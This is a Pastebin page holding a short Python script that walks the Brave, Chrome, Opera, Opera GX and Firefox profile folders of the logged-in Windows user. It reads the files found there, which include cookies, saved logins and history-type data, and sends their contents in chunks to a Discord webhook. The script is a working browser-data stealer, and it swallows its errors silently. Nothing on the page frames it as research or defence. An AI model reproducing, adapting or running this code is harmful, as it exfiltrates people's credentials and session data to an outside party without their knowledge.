Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import requests
- import time
- username = os.getlogin()
- brave = fr'C:\\Users\\{username}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default'
- google = fr'C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default'
- opera1 = fr'C:\\Users\\{username}\\AppData\\Local\\Opera Software\\Opera Stable\\Default'
- opera2 = fr'C:\\Users\\{username}\\AppData\\Local\\Opera Software\\Opera GX Stable\\Default'
- mozilla = fr'C:\\Users\\{username}\\AppData\\Local\\Mozilla\\Firefox\\Profiles'
- webhook_url = 'https://discord.com/api/webhooks/1243971377405628527/urwebhook'
- def send_discord_webhook(webhook_url, message):
- MAX_MESSAGE_LENGTH = 2000
- num_segments = len(message) // MAX_MESSAGE_LENGTH + 1
- for i in range(num_segments):
- time.sleep(1/49) # 50 messages per second https://support-dev.discord.com/hc/en-us/articles/6223003921559-My-Bot-Is-Being-Rate-Limited
- start_index = i * MAX_MESSAGE_LENGTH
- end_index = (i + 1) * MAX_MESSAGE_LENGTH
- segment = message[start_index:end_index]
- payload = {'content': segment}
- headers = {'Content-Type': 'application/json'}
- response = requests.post(webhook_url, json=payload, headers=headers)
- if response.status_code != 204:
- print(f"Failed to send segment {i+1} of the message.")
- else:
- print(f"Segment {i+1} of the message sent successfully.")
- def read_large_file(file_path, chunk_size=1024):
- with open(file_path, 'r', encoding='utf-8') as file:
- while True:
- chunk = file.read(chunk_size)
- if not chunk:
- break
- yield chunk
- def read_files_in_directory(directory, blacklist=[]):
- # Check if the directory exists
- if not os.path.exists(directory):
- return
- # Iterate over each file in the directory
- for filename in os.listdir(directory):
- file_path = os.path.join(directory, filename)
- # Check if the path is a file
- allow = True
- for keyword in blacklist:
- if keyword in file_path:
- allow = False
- if allow:
- if os.path.isfile(file_path):
- # Check file size
- file_size = os.path.getsize(file_path)
- if file_size > 100 * 1024 * 1024: # If file size exceeds 100MB, split into segments
- for chunk in read_large_file(file_path):
- send_discord_webhook(webhook_url, chunk)
- else:
- # Open the file and read its contents
- try:
- with open(file_path, 'r', encoding='utf-8') as file:
- contents = file.read()
- # Check if the contents are empty
- if contents.strip(): # If contents are not empty
- send_discord_webhook(webhook_url, contents)
- else: # If contents are empty, try a different encoding
- try:
- with open(file_path, 'r', encoding='latin-1') as file:
- contents = file.read()
- send_discord_webhook(webhook_url, contents)
- except Exception as e:
- pass
- except UnicodeDecodeError:
- try:
- with open(file_path, 'r', encoding='latin-1') as file:
- contents = file.read()
- send_discord_webhook(webhook_url, contents)
- except Exception as e:
- pass
- except Exception as e:
- pass
- # Brave
- try:
- read_files_in_directory(brave, ['Favicon', 'History', 'publisher_info_db', 'Rewards.log', 'Shortcuts'])
- except:
- pass
- # Google
- try:
- read_files_in_directory(google)
- except:
- pass
- # Opera
- try:
- read_files_in_directory(opera1)
- except:
- pass
- try:
- read_files_in_directory(opera2)
- except:
- pass
- # Mozilla
- try:
- sub_folders = [name for name in os.listdir(mozilla) if os.path.isdir(os.path.join(mozilla, name))]
- for sub_folder in sub_folders:
- read_files_in_directory(f'{mozilla}{sub_folder}\cache2\entries')
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement